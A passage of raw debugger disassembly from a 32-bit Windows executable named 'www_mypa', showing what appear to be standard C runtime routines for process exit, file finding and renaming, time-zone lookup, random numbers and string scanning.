75 07 JNZ SHORT www_mypa.00402AD9 00402AD2 A1 D0064100 MOV EAX,DWORD PTR DS:[4106D0] 00402AD7 EB 66 JMP SHORT www_mypa.00402B3F 00402AD9 8D4C24 20 LEA ECX,DWORD PTR SS:[ESP+20] 00402ADD 51 PUSH ECX 00402ADE FF15 E8214100 CALL DWORD PTR DS:[4121E8] ; kernel32.GetTimeZoneInformation 00402AE4 83F8 FF CMP EAX,-1 00402AE7 74 26 JE SHORT www_mypa.00402B0F 00402AE9 83F8 02 CMP EAX,2 00402AEC 75 1D JNZ SHORT www_mypa.00402B0B 00402AEE 66:83BC24 BA0000>CMP WORD PTR SS:[ESP+BA],0 00402AF7 74 12 JE SHORT www_mypa.00402B0B 00402AF9 8B8424 C8000000 MOV EAX,DWORD PTR SS:[ESP+C8] 00402B00 85C0 TEST EAX,EAX 00402B02 74 07 JE SHORT www_mypa.00402B0B 00402B04 B8 01000000 MOV EAX,1 00402B09 EB 07 JMP SHORT www_mypa.00402B12 00402B0B 33C0 XOR EAX,EAX 00402B0D EB 03 JMP SHORT www_mypa.00402B12 00402B0F 83C8 FF OR EAX,FFFFFFFF 00402B12 8B5424 00 MOV EDX,DWORD PTR SS:[ESP] 00402B16 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4] 00402B1A 8915 D8064100 MOV DWORD PTR DS:[4106D8],EDX 00402B20 8B5424 08 MOV EDX,DWORD PTR SS:[ESP+8] 00402B24 890D DC064100 MOV DWORD PTR DS:[4106DC],ECX 00402B2A 8B4C24 0C MOV ECX,DWORD PTR SS:[ESP+C] 00402B2E A3 D0064100 MOV DWORD PTR DS:[4106D0],EAX 00402B33 8915 E0064100 MOV DWORD PTR DS:[4106E0],EDX 00402B39 890D E4064100 MOV DWORD PTR DS:[4106E4],ECX 00402B3F 8B5424 1C MOV EDX,DWORD PTR SS:[ESP+1C] 00402B43 8B4C24 18 MOV ECX,DWORD PTR SS:[ESP+18] 00402B47 50 PUSH EAX 00402B48 8B4424 1E MOV EAX,DWORD PTR SS:[ESP+1E] 00402B4C 81E2 FFFF0000 AND EDX,0FFFF 00402B52 25 FFFF0000 AND EAX,0FFFF 00402B57 52 PUSH EDX 00402B58 8B5424 1E MOV EDX,DWORD PTR SS:[ESP+1E] 00402B5C 81E1 FFFF0000 AND ECX,0FFFF 00402B62 50 PUSH EAX 00402B63 8B4424 1E MOV EAX,DWORD PTR SS:[ESP+1E] 00402B67 51 PUSH ECX 00402B68 8B4C24 20 MOV ECX,DWORD PTR SS:[ESP+20] 00402B6C 81E2 FFFF0000 AND EDX,0FFFF 00402B72 25 FFFF0000 AND EAX,0FFFF 00402B77 52 PUSH EDX 00402B78 81E1 FFFF0000 AND ECX,0FFFF 00402B7E 50 PUSH EAX 00402B7F 51 PUSH ECX 00402B80 E8 5B370000 CALL www_mypa.004062E0 00402B85 8B8C24 EC000000 MOV ECX,DWORD PTR SS:[ESP+EC] 00402B8C 83C4 1C ADD ESP,1C 00402B8F 85C9 TEST ECX,ECX 00402B91 74 02 JE SHORT www_mypa.00402B95 00402B93 8901 MOV DWORD PTR DS:[ECX],EAX 00402B95 81C4 CC000000 ADD ESP,0CC 00402B9B C3 RETN 00402B9C 90 NOP 00402B9D 90 NOP 00402B9E 90 NOP 00402B9F 90 NOP 00402BA0 A1 F41B4100 MOV EAX,DWORD PTR DS:[411BF4] 00402BA5 85C0 TEST EAX,EAX 00402BA7 74 02 JE SHORT www_mypa.00402BAB 00402BA9 FFD0 CALL EAX 00402BAB 68 10B04000 PUSH www_mypa.0040B010 00402BB0 68 08B04000 PUSH www_mypa.0040B008 00402BB5 E8 06010000 CALL www_mypa.00402CC0 00402BBA 83C4 08 ADD ESP,8 00402BBD 68 04B04000 PUSH www_mypa.0040B004 00402BC2 68 00B04000 PUSH www_mypa.0040B000 00402BC7 E8 F4000000 CALL www_mypa.00402CC0 00402BCC 83C4 08 ADD ESP,8 00402BCF C3 RETN 00402BD0 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00402BD4 6A 00 PUSH 0 00402BD6 6A 00 PUSH 0 00402BD8 50 PUSH EAX 00402BD9 E8 32000000 CALL www_mypa.00402C10 00402BDE 83C4 0C ADD ESP,0C 00402BE1 C3 RETN 00402BE2 90 NOP 00402BE3 90 NOP 00402BE4 90 NOP 00402BE5 90 NOP 00402BE6 90 NOP 00402BE7 90 NOP 00402BE8 90 NOP 00402BE9 90 NOP 00402BEA 90 NOP 00402BEB 90 NOP 00402BEC 90 NOP 00402BED 90 NOP 00402BEE 90 NOP 00402BEF 90 NOP 00402BF0 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00402BF4 6A 00 PUSH 0 00402BF6 6A 01 PUSH 1 00402BF8 50 PUSH EAX 00402BF9 E8 12000000 CALL www_mypa.00402C10 00402BFE 83C4 0C ADD ESP,0C 00402C01 C3 RETN 00402C02 90 NOP 00402C03 90 NOP 00402C04 90 NOP 00402C05 90 NOP 00402C06 90 NOP 00402C07 90 NOP 00402C08 90 NOP 00402C09 90 NOP 00402C0A 90 NOP 00402C0B 90 NOP 00402C0C 90 NOP 00402C0D 90 NOP 00402C0E 90 NOP 00402C0F 90 NOP 00402C10 A1 30074100 MOV EAX,DWORD PTR DS:[410730] 00402C15 53 PUSH EBX 00402C16 55 PUSH EBP 00402C17 8B6C24 0C MOV EBP,DWORD PTR SS:[ESP+C] 00402C1B 83F8 01 CMP EAX,1 00402C1E 56 PUSH ESI 00402C1F 75 0E JNZ SHORT www_mypa.00402C2F 00402C21 55 PUSH EBP 00402C22 FF15 FC214100 CALL DWORD PTR DS:[4121FC] ; kernel32.GetCurrentProcess 00402C28 50 PUSH EAX 00402C29 FF15 F8214100 CALL DWORD PTR DS:[4121F8] ; kernel32.TerminateProcess 00402C2F 8B4424 14 MOV EAX,DWORD PTR SS:[ESP+14] 00402C33 8B5C24 18 MOV EBX,DWORD PTR SS:[ESP+18] 00402C37 85C0 TEST EAX,EAX 00402C39 C705 2C074100 01>MOV DWORD PTR DS:[41072C],1 00402C43 881D 28074100 MOV BYTE PTR DS:[410728],BL 00402C49 75 3E JNZ SHORT www_mypa.00402C89 00402C4B 8B0D F01B4100 MOV ECX,DWORD PTR DS:[411BF0] 00402C51 85C9 TEST ECX,ECX 00402C53 74 22 JE SHORT www_mypa.00402C77 00402C55 8B35 EC1B4100 MOV ESI,DWORD PTR DS:[411BEC] 00402C5B 83EE 04 SUB ESI,4 00402C5E 3BF1 CMP ESI,ECX 00402C60 72 15 JB SHORT www_mypa.00402C77 00402C62 8B06 MOV EAX,DWORD PTR DS:[ESI] 00402C64 85C0 TEST EAX,EAX 00402C66 74 08 JE SHORT www_mypa.00402C70 00402C68 FFD0 CALL EAX 00402C6A 8B0D F01B4100 MOV ECX,DWORD PTR DS:[411BF0] 00402C70 83EE 04 SUB ESI,4 00402C73 3BF1 CMP ESI,ECX 00402C75 ^73 EB JNB SHORT www_mypa.00402C62 00402C77 68 1CB04000 PUSH www_mypa.0040B01C 00402C7C 68 14B04000 PUSH www_mypa.0040B014 00402C81 E8 3A000000 CALL www_mypa.00402CC0 00402C86 83C4 08 ADD ESP,8 00402C89 68 24B04000 PUSH www_mypa.0040B024 00402C8E 68 20B04000 PUSH www_mypa.0040B020 00402C93 E8 28000000 CALL www_mypa.00402CC0 00402C98 83C4 08 ADD ESP,8 00402C9B 85DB TEST EBX,EBX 00402C9D 75 11 JNZ SHORT www_mypa.00402CB0 00402C9F 55 PUSH EBP 00402CA0 C705 30074100 01>MOV DWORD PTR DS:[410730],1 00402CAA FF15 F4214100 CALL DWORD PTR DS:[4121F4] ; kernel32.ExitProcess 00402CB0 5E POP ESI 00402CB1 5D POP EBP 00402CB2 5B POP EBX 00402CB3 C3 RETN 00402CB4 90 NOP 00402CB5 90 NOP 00402CB6 90 NOP 00402CB7 90 NOP 00402CB8 90 NOP 00402CB9 90 NOP 00402CBA 90 NOP 00402CBB 90 NOP 00402CBC 90 NOP 00402CBD 90 NOP 00402CBE 90 NOP 00402CBF 90 NOP 00402CC0 56 PUSH ESI 00402CC1 8B7424 08 MOV ESI,DWORD PTR SS:[ESP+8] 00402CC5 57 PUSH EDI 00402CC6 8B7C24 10 MOV EDI,DWORD PTR SS:[ESP+10] 00402CCA 3BF7 CMP ESI,EDI 00402CCC 73 0F JNB SHORT www_mypa.00402CDD 00402CCE 8B06 MOV EAX,DWORD PTR DS:[ESI] 00402CD0 85C0 TEST EAX,EAX 00402CD2 74 02 JE SHORT www_mypa.00402CD6 00402CD4 FFD0 CALL EAX 00402CD6 83C6 04 ADD ESI,4 00402CD9 3BF7 CMP ESI,EDI 00402CDB ^72 F1 JB SHORT www_mypa.00402CCE 00402CDD 5F POP EDI 00402CDE 5E POP ESI 00402CDF C3 RETN 00402CE0 8B4424 08 MOV EAX,DWORD PTR SS:[ESP+8] 00402CE4 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4] 00402CE8 50 PUSH EAX 00402CE9 51 PUSH ECX 00402CEA FF15 04224100 CALL DWORD PTR DS:[412204] ; kernel32.MoveFileA 00402CF0 85C0 TEST EAX,EAX 00402CF2 75 08 JNZ SHORT www_mypa.00402CFC 00402CF4 FF15 00224100 CALL DWORD PTR DS:[412200] ; ntdll.RtlGetLastWin32Error 00402CFA EB 02 JMP SHORT www_mypa.00402CFE 00402CFC 33C0 XOR EAX,EAX 00402CFE 85C0 TEST EAX,EAX 00402D00 74 0D JE SHORT www_mypa.00402D0F 00402D02 50 PUSH EAX 00402D03 E8 C8360000 CALL www_mypa.004063D0 00402D08 83C4 04 ADD ESP,4 00402D0B 83C8 FF OR EAX,FFFFFFFF 00402D0E C3 RETN 00402D0F 33C0 XOR EAX,EAX 00402D11 C3 RETN 00402D12 90 NOP 00402D13 90 NOP 00402D14 90 NOP 00402D15 90 NOP 00402D16 90 NOP 00402D17 90 NOP 00402D18 90 NOP 00402D19 90 NOP 00402D1A 90 NOP 00402D1B 90 NOP 00402D1C 90 NOP 00402D1D 90 NOP 00402D1E 90 NOP 00402D1F 90 NOP 00402D20 83EC 20 SUB ESP,20 00402D23 8B4424 24 MOV EAX,DWORD PTR SS:[ESP+24] 00402D27 8B4C24 28 MOV ECX,DWORD PTR SS:[ESP+28] 00402D2B 894424 08 MOV DWORD PTR SS:[ESP+8],EAX 00402D2F 894424 00 MOV DWORD PTR SS:[ESP],EAX 00402D33 8D4424 2C LEA EAX,DWORD PTR SS:[ESP+2C] 00402D37 56 PUSH ESI 00402D38 50 PUSH EAX 00402D39 8D5424 08 LEA EDX,DWORD PTR SS:[ESP+8] 00402D3D 51 PUSH ECX 00402D3E 52 PUSH EDX 00402D3F C74424 1C 420000>MOV DWORD PTR SS:[ESP+1C],42 00402D47 C74424 14 FFFFFF>MOV DWORD PTR SS:[ESP+14],7FFFFFFF 00402D4F E8 8C220000 CALL www_mypa.00404FE0 00402D54 8BF0 MOV ESI,EAX 00402D56 8B4424 14 MOV EAX,DWORD PTR SS:[ESP+14] 00402D5A 83C4 0C ADD ESP,0C 00402D5D 48 DEC EAX 00402D5E 894424 08 MOV DWORD PTR SS:[ESP+8],EAX 00402D62 78 0E JS SHORT www_mypa.00402D72 00402D64 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00402D68 C600 00 MOV BYTE PTR DS:[EAX],0 00402D6B 8BC6 MOV EAX,ESI 00402D6D 5E POP ESI 00402D6E 83C4 20 ADD ESP,20 00402D71 C3 RETN 00402D72 8D4C24 04 LEA ECX,DWORD PTR SS:[ESP+4] 00402D76 51 PUSH ECX 00402D77 6A 00 PUSH 0 00402D79 E8 B20C0000 CALL www_mypa.00403A30 00402D7E 83C4 08 ADD ESP,8 00402D81 8BC6 MOV EAX,ESI 00402D83 5E POP ESI 00402D84 83C4 20 ADD ESP,20 00402D87 C3 RETN 00402D88 90 NOP 00402D89 90 NOP 00402D8A 90 NOP 00402D8B 90 NOP 00402D8C 90 NOP 00402D8D 90 NOP 00402D8E 90 NOP 00402D8F 90 NOP 00402D90 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00402D94 A3 B0CB4000 MOV DWORD PTR DS:[40CBB0],EAX 00402D99 C3 RETN 00402D9A 90 NOP 00402D9B 90 NOP 00402D9C 90 NOP 00402D9D 90 NOP 00402D9E 90 NOP 00402D9F 90 NOP 00402DA0 A1 B0CB4000 MOV EAX,DWORD PTR DS:[40CBB0] 00402DA5 8D0C40 LEA ECX,DWORD PTR DS:[EAX+EAX*2] 00402DA8 8D1488 LEA EDX,DWORD PTR DS:[EAX+ECX*4] 00402DAB C1E2 04 SHL EDX,4 00402DAE 03D0 ADD EDX,EAX 00402DB0 C1E2 08 SHL EDX,8 00402DB3 2BD0 SUB EDX,EAX 00402DB5 8D8490 C39E2600 LEA EAX,DWORD PTR DS:[EAX+EDX*4+269EC3] 00402DBC A3 B0CB4000 MOV DWORD PTR DS:[40CBB0],EAX 00402DC1 C1F8 10 SAR EAX,10 00402DC4 25 FF7F0000 AND EAX,7FFF 00402DC9 C3 RETN 00402DCA 90 NOP 00402DCB 90 NOP 00402DCC 90 NOP 00402DCD 90 NOP 00402DCE 90 NOP 00402DCF 90 NOP 00402DD0 8D42 FF LEA EAX,DWORD PTR DS:[EDX-1] 00402DD3 5B POP EBX 00402DD4 C3 RETN 00402DD5 2E:8BC0 MOV EAX,EAX ; Superfluous prefix 00402DD8 2E:8BC0 MOV EAX,EAX ; Superfluous prefix 00402DDB 2E:8BC0 MOV EAX,EAX ; Superfluous prefix 00402DDE 8BC0 MOV EAX,EAX 00402DE0 33C0 XOR EAX,EAX 00402DE2 8A4424 08 MOV AL,BYTE PTR SS:[ESP+8] 00402DE6 53 PUSH EBX 00402DE7 8BD8 MOV EBX,EAX 00402DE9 C1E0 08 SHL EAX,8 00402DEC 8B5424 08 MOV EDX,DWORD PTR SS:[ESP+8] 00402DF0 F7C2 03000000 TEST EDX,3 00402DF6 74 13 JE SHORT www_mypa.00402E0B 00402DF8 8A0A MOV CL,BYTE PTR DS:[EDX] 00402DFA 42 INC EDX 00402DFB 38D9 CMP CL,BL 00402DFD ^74 D1 JE SHORT www_mypa.00402DD0 00402DFF 84C9 TEST CL,CL 00402E01 74 51 JE SHORT www_mypa.00402E54 00402E03 F7C2 03000000 TEST EDX,3 00402E09 ^75 ED JNZ SHORT www_mypa.00402DF8 00402E0B 0BD8 OR EBX,EAX 00402E0D 57 PUSH EDI 00402E0E 8BC3 MOV EAX,EBX 00402E10 C1E3 10 SHL EBX,10 00402E13 56 PUSH ESI 00402E14 0BD8 OR EBX,EAX 00402E16 8B0A MOV ECX,DWORD PTR DS:[EDX] 00402E18 BF FFFEFE7E MOV EDI,7EFEFEFF 00402E1D 8BC1 MOV EAX,ECX 00402E1F 8BF7 MOV ESI,EDI 00402E21 33CB XOR ECX,EBX 00402E23 03F0 ADD ESI,EAX 00402E25 03F9 ADD EDI,ECX 00402E27 83F1 FF XOR ECX,FFFFFFFF 00402E2A 83F0 FF XOR EAX,FFFFFFFF 00402E2D 33CF XOR ECX,EDI 00402E2F 33C6 XOR EAX,ESI 00402E31 83C2 04 ADD EDX,4 00402E34 81E1 00010181 AND ECX,81010100 00402E3A 75 1C JNZ SHORT www_mypa.00402E58 00402E3C 25 00010181 AND EAX,81010100 00402E41 ^74 D3 JE SHORT www_mypa.00402E16 00402E43 25 00010101 AND EAX,1010100 00402E48 75 08 JNZ SHORT www_mypa.00402E52 00402E4A 81E6 00000080 AND ESI,80000000 00402E50 ^75 C4 JNZ SHORT www_mypa.00402E16 00402E52 5E POP ESI 00402E53 5F POP EDI 00402E54 5B POP EBX 00402E55 33C0 XOR EAX,EAX 00402E57 C3 RETN 00402E58 8B42 FC MOV EAX,DWORD PTR DS:[EDX-4] 00402E5B 38D8 CMP AL,BL 00402E5D 74 36 JE SHORT www_mypa.00402E95 00402E5F 84C0 TEST AL,AL 00402E61 ^74 EF JE SHORT www_mypa.00402E52 00402E63 38DC CMP AH,BL 00402E65 74 27 JE SHORT www_mypa.00402E8E 00402E67 84E4 TEST AH,AH 00402E69 ^74 E7 JE SHORT www_mypa.00402E52 00402E6B C1E8 10 SHR EAX,10 00402E6E 38D8 CMP AL,BL 00402E70 74 15 JE SHORT www_mypa.00402E87 00402E72 84C0 TEST AL,AL 00402E74 ^74 DC JE SHORT www_mypa.00402E52 00402E76 38DC CMP AH,BL 00402E78 74 06 JE SHORT www_mypa.00402E80 00402E7A 84E4 TEST AH,AH 00402E7C ^74 D4 JE SHORT www_mypa.00402E52 00402E7E ^EB 96 JMP SHORT www_mypa.00402E16 00402E80 5E POP ESI 00402E81 5F POP EDI 00402E82 8D42 FF LEA EAX,DWORD PTR DS:[EDX-1] 00402E85 5B POP EBX 00402E86 C3 RETN 00402E87 8D42 FE LEA EAX,DWORD PTR DS:[EDX-2] 00402E8A 5E POP ESI 00402E8B 5F POP EDI 00402E8C 5B POP EBX 00402E8D C3 RETN 00402E8E 8D42 FD LEA EAX,DWORD PTR DS:[EDX-3] 00402E91 5E POP ESI 00402E92 5F POP EDI 00402E93 5B POP EBX 00402E94 C3 RETN 00402E95 8D42 FC LEA EAX,DWORD PTR DS:[EDX-4] 00402E98 5E POP ESI 00402E99 5F POP EDI 00402E9A 5B POP EBX 00402E9B C3 RETN 00402E9C CC INT3 00402E9D CC INT3 00402E9E CC INT3 00402E9F CC INT3 00402EA0 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4] 00402EA4 F7C1 03000000 TEST ECX,3 00402EAA 74 14 JE SHORT www_mypa.00402EC0 00402EAC 8A01 MOV AL,BYTE PTR DS:[ECX] 00402EAE 41 INC ECX 00402EAF 84C0 TEST AL,AL 00402EB1 74 40 JE SHORT www_mypa.00402EF3 00402EB3 F7C1 03000000 TEST ECX,3 00402EB9 ^75 F1 JNZ SHORT www_mypa.00402EAC 00402EBB 05 00000000 ADD EAX,0 00402EC0 8B01 MOV EAX,DWORD PTR DS:[ECX] 00402EC2 BA FFFEFE7E MOV EDX,7EFEFEFF 00402EC7 03D0 ADD EDX,EAX 00402EC9 83F0 FF XOR EAX,FFFFFFFF 00402ECC 33C2 XOR EAX,EDX 00402ECE 83C1 04 ADD ECX,4 00402ED1 A9 00010181 TEST EAX,81010100 00402ED6 ^74 E8 JE SHORT www_mypa.00402EC0 00402ED8 8B41 FC MOV EAX,DWORD PTR DS:[ECX-4] 00402EDB 84C0 TEST AL,AL 00402EDD 74 32 JE SHORT www_mypa.00402F11 00402EDF 84E4 TEST AH,AH 00402EE1 74 24 JE SHORT www_mypa.00402F07 00402EE3 A9 0000FF00 TEST EAX,0FF0000 00402EE8 74 13 JE SHORT www_mypa.00402EFD 00402EEA A9 000000FF TEST EAX,FF000000 00402EEF 74 02 JE SHORT www_mypa.00402EF3 00402EF1 ^EB CD JMP SHORT www_mypa.00402EC0 00402EF3 8D41 FF LEA EAX,DWORD PTR DS:[ECX-1] 00402EF6 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4] 00402EFA 2BC1 SUB EAX,ECX 00402EFC C3 RETN 00402EFD 8D41 FE LEA EAX,DWORD PTR DS:[ECX-2] 00402F00 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4] 00402F04 2BC1 SUB EAX,ECX 00402F06 C3 RETN 00402F07 8D41 FD LEA EAX,DWORD PTR DS:[ECX-3] 00402F0A 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4] 00402F0E 2BC1 SUB EAX,ECX 00402F10 C3 RETN 00402F11 8D41 FC LEA EAX,DWORD PTR DS:[ECX-4] 00402F14 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4] 00402F18 2BC1 SUB EAX,ECX 00402F1A C3 RETN 00402F1B CC INT3 00402F1C CC INT3 00402F1D CC INT3 00402F1E CC INT3 00402F1F CC INT3 00402F20 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4] 00402F24 81EC 40010000 SUB ESP,140 00402F2A 8D4424 00 LEA EAX,DWORD PTR SS:[ESP] 00402F2E 53 PUSH EBX 00402F2F 50 PUSH EAX 00402F30 51 PUSH ECX 00402F31 FF15 08224100 CALL DWORD PTR DS:[412208] ; kernel32.FindFirstFileA 00402F37 8BD8 MOV EBX,EAX 00402F39 83FB FF CMP EBX,-1 00402F3C 75 5C JNZ SHORT www_mypa.00402F9A 00402F3E FF15 00224100 CALL DWORD PTR DS:[412200] ; ntdll.RtlGetLastWin32Error 00402F44 83C0 FE ADD EAX,-2 00402F47 83F8 10 CMP EAX,10 00402F4A 77 39 JA SHORT www_mypa.00402F85 00402F4C 33D2 XOR EDX,EDX 00402F4E 8A90 30304000 MOV DL,BYTE PTR DS:[EAX+403030] 00402F54 FF2495 20304000 JMP DWORD PTR DS:[EDX*4+403020] 00402F5B C705 E8064100 02>MOV DWORD PTR DS:[4106E8],2 00402F65 83C8 FF OR EAX,FFFFFFFF 00402F68 5B POP EBX 00402F69 81C4 40010000 ADD ESP,140 00402F6F C3 RETN 00402F70 C705 E8064100 0C>MOV DWORD PTR DS:[4106E8],0C 00402F7A 83C8 FF OR EAX,FFFFFFFF 00402F7D 5B POP EBX 00402F7E 81C4 40010000 ADD ESP,140 00402F84 C3 RETN 00402F85 C705 E8064100 16>MOV DWORD PTR DS:[4106E8],16 00402F8F 83C8 FF OR EAX,FFFFFFFF 00402F92 5B POP EBX 00402F93 81C4 40010000 ADD ESP,140 00402F99 C3 RETN 00402F9A 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00402F9E 57 PUSH EDI 00402F9F 8BC8 MOV ECX,EAX 00402FA1 56 PUSH ESI 00402FA2 8BB424 54010000 MOV ESI,DWORD PTR SS:[ESP+154] 00402FA9 81E9 80000000 SUB ECX,80 00402FAF F7D9 NEG ECX 00402FB1 1BC9 SBB ECX,ECX 00402FB3 8D5424 10 LEA EDX,DWORD PTR SS:[ESP+10] 00402FB7 23C8 AND ECX,EAX 00402FB9 52 PUSH EDX 00402FBA 890E MOV DWORD PTR DS:[ESI],ECX 00402FBC E8 CF010000 CALL www_mypa.00403190 00402FC1 83C4 04 ADD ESP,4 00402FC4 8946 04 MOV DWORD PTR DS:[ESI+4],EAX 00402FC7 8D4424 18 LEA EAX,DWORD PTR SS:[ESP+18] 00402FCB 50 PUSH EAX 00402FCC E8 BF010000 CALL www_mypa.00403190 00402FD1 83C4 04 ADD ESP,4 00402FD4 8D4C24 20 LEA ECX,DWORD PTR SS:[ESP+20] 00402FD8 8946 08 MOV DWORD PTR DS:[ESI+8],EAX 00402FDB 51 PUSH ECX 00402FDC E8 AF010000 CALL www_mypa.00403190 00402FE1 8946 0C MOV DWORD PTR DS:[ESI+C],EAX 00402FE4 8D7C24 3C LEA EDI,DWORD PTR SS:[ESP+3C] 00402FE8 83C9 FF OR ECX,FFFFFFFF 00402FEB 33C0 XOR EAX,EAX 00402FED 83C4 04 ADD ESP,4 00402FF0 8B5424 2C MOV EDX,DWORD PTR SS:[ESP+2C] 00402FF4 F2:AE REPNE SCAS BYTE PTR ES:[EDI] 00402FF6 F7D1 NOT ECX 00402FF8 2BF9 SUB EDI,ECX 00402FFA 8956 10 MOV DWORD PTR DS:[ESI+10],EDX 00402FFD 8D56 14 LEA EDX,DWORD PTR DS:[ESI+14] 00403000 8BC1 MOV EAX,ECX 00403002 8BF7 MOV ESI,EDI 00403004 8BFA MOV EDI,EDX 00403006 C1E9 02 SHR ECX,2 00403009 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> 0040300B 8BC8 MOV ECX,EAX 0040300D 8BC3 MOV EAX,EBX 0040300F 83E1 03 AND ECX,3 00403012 F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[> 00403014 5E POP ESI 00403015 5F POP EDI 00403016 5B POP EBX 00403017 81C4 40010000 ADD ESP,140 0040301D C3 RETN 0040301E 8BFF MOV EDI,EDI 00403020 5B POP EBX 00403021 2F DAS 00403022 40 INC EAX 00403023 0070 2F ADD BYTE PTR DS:[EAX+2F],DH 00403026 40 INC EAX 00403027 005B 2F ADD BYTE PTR DS:[EBX+2F],BL 0040302A 40 INC EAX 0040302B 0085 2F400000 ADD BYTE PTR SS:[EBP+402F],AL 00403031 0003 ADD BYTE PTR DS:[EBX],AL 00403033 0303 ADD EAX,DWORD PTR DS:[EBX] 00403035 0301 ADD EAX,DWORD PTR DS:[ECX] 00403037 0303 ADD EAX,DWORD PTR DS:[EBX] 00403039 0303 ADD EAX,DWORD PTR DS:[EBX] 0040303B 0303 ADD EAX,DWORD PTR DS:[EBX] 0040303D 0303 ADD EAX,DWORD PTR DS:[EBX] 0040303F 0302 ADD EAX,DWORD PTR DS:[EDX] 00403041 90 NOP 00403042 90 NOP 00403043 90 NOP 00403044 90 NOP 00403045 90 NOP 00403046 90 NOP 00403047 90 NOP 00403048 90 NOP 00403049 90 NOP 0040304A 90 NOP 0040304B 90 NOP 0040304C 90 NOP 0040304D 90 NOP 0040304E 90 NOP 0040304F 90 NOP 00403050 8B4C24 04 MOV ECX,DWORD PTR SS:[ESP+4] 00403054 81EC 40010000 SUB ESP,140 0040305A 8D4424 00 LEA EAX,DWORD PTR SS:[ESP] 0040305E 50 PUSH EAX 0040305F 51 PUSH ECX 00403060 FF15 0C224100 CALL DWORD PTR DS:[41220C] ; kernel32.FindNextFileA 00403066 85C0 TEST EAX,EAX 00403068 75 59 JNZ SHORT www_mypa.004030C3 0040306A FF15 00224100 CALL DWORD PTR DS:[412200] ; ntdll.RtlGetLastWin32Error 00403070 83C0 FE ADD EAX,-2 00403073 83F8 10 CMP EAX,10 00403076 77 37 JA SHORT www_mypa.004030AF 00403078 33D2 XOR EDX,EDX 0040307A 8A90 58314000 MOV DL,BYTE PTR DS:[EAX+403158] 00403080 FF2495 48314000 JMP DWORD PTR DS:[EDX*4+403148] 00403087 C705 E8064100 02>MOV DWORD PTR DS:[4106E8],2 00403091 83C8 FF OR EAX,FFFFFFFF 00403094 81C4 40010000 ADD ESP,140 0040309A C3 RETN 0040309B C705 E8064100 0C>MOV DWORD PTR DS:[4106E8],0C 004030A5 83C8 FF OR EAX,FFFFFFFF 004030A8 81C4 40010000 ADD ESP,140 004030AE C3 RETN 004030AF C705 E8064100 16>MOV DWORD PTR DS:[4106E8],16 004030B9 83C8 FF OR EAX,FFFFFFFF 004030BC 81C4 40010000 ADD ESP,140 004030C2 C3 RETN 004030C3 8B4424 00 MOV EAX,DWORD PTR SS:[ESP] 004030C7 57 PUSH EDI 004030C8 8BC8 MOV ECX,EAX 004030CA 56 PUSH ESI 004030CB 8BB424 50010000 MOV ESI,DWORD PTR SS:[ESP+150] 004030D2 81E9 80000000 SUB ECX,80 004030D8 F7D9 NEG ECX 004030DA 1BC9 SBB ECX,ECX 004030DC 8D5424 0C LEA EDX,DWORD PTR SS:[ESP+C] 004030E0 23C8 AND ECX,EAX 004030E2 52 PUSH EDX 004030E3 890E MOV DWORD PTR DS:[ESI],ECX 004030E5 E8 A6000000 CALL www_mypa.00403190 004030EA 83C4 04 ADD ESP,4 004030ED 8946 04 MOV DWORD PTR DS:[ESI+4],EAX 004030F0 8D4424 14 LEA EAX,DWORD PTR SS:[ESP+14] 004030F4 50 PUSH EAX 004030F5 E8 96000000 CALL www_mypa.00403190 004030FA 83C4 04 ADD ESP,4 004030FD 8D4C24 1C LEA ECX,DWORD PTR SS:[ESP+1C] 00403101 8946 08 MOV DWORD PTR DS:[ESI+8],EAX 00403104 51 PUSH ECX 00403105 E8 86000000 CALL www_mypa.00403190 0040310A 8946 0C MOV DWORD PTR DS:[ESI+C],EAX 0040310D 8D7C24 38 LEA EDI,DWORD PTR SS:[ESP+38] 00403111 83C9 FF OR ECX,FFFFFFFF 00403114 33C0 XOR EAX,EAX 00403116 83C4 04 ADD ESP,4 00403119 8B5424 28 MOV EDX,DWORD PTR SS:[ESP+28] 0040311D F2:AE REPNE SCAS BYTE PTR ES:[EDI] 0040311F F7D1 NOT ECX 00403121 2BF9 SUB EDI,ECX 00403123 8956 10 MOV DWORD PTR DS:[ESI+10],EDX 00403126 8D56 14 LEA EDX,DWORD PTR DS:[ESI+14] 00403129 8BC1 MOV EAX,ECX 0040312B 8BF7 MOV ESI,EDI 0040312D 8BFA MOV EDI,EDX 0040312F C1E9 02 SHR ECX,2 00403132 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> 00403134 8BC8 MOV ECX,EAX 00403136 83E1 03 AND ECX,3 00403139 33C0 XOR EAX,EAX 0040313B F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[> 0040313D 5E POP ESI 0040313E 5F POP EDI 0040313F 81C4 40010000 ADD ESP,140 00403145 C3 RETN 00403146 8BFF MOV EDI,EDI 00403148 8730 XCHG DWORD PTR DS:[EAX],ESI 0040314A 40 INC EAX 0040314B 009B 30400087 ADD BYTE PTR DS:[EBX+87004030],BL 00403151 3040 00 XOR BYTE PTR DS:[EAX],AL 00403154 AF SCAS DWORD PTR ES:[EDI] 00403155 3040 00 XOR BYTE PTR DS:[EAX],AL 00403158 0000 ADD BYTE PTR DS:[EAX],AL 0040315A 0303 ADD EAX,DWORD PTR DS:[EBX] 0040315C 0303 ADD EAX,DWORD PTR DS:[EBX] 0040315E 0103 ADD DWORD PTR DS:[EBX],EAX 00403160 0303 ADD EAX,DWORD PTR DS:[EBX] 00403162 0303 ADD EAX,DWORD PTR DS:[EBX] 00403164 0303 ADD EAX,DWORD PTR DS:[EBX] 00403166 0303 ADD EAX,DWORD PTR DS:[EBX] 00403168 0290 90909090 ADD DL,BYTE PTR DS:[EAX+90909090] 0040316E 90 NOP 0040316F 90 NOP 00403170 8B4424 04 MOV EAX,DWORD PTR 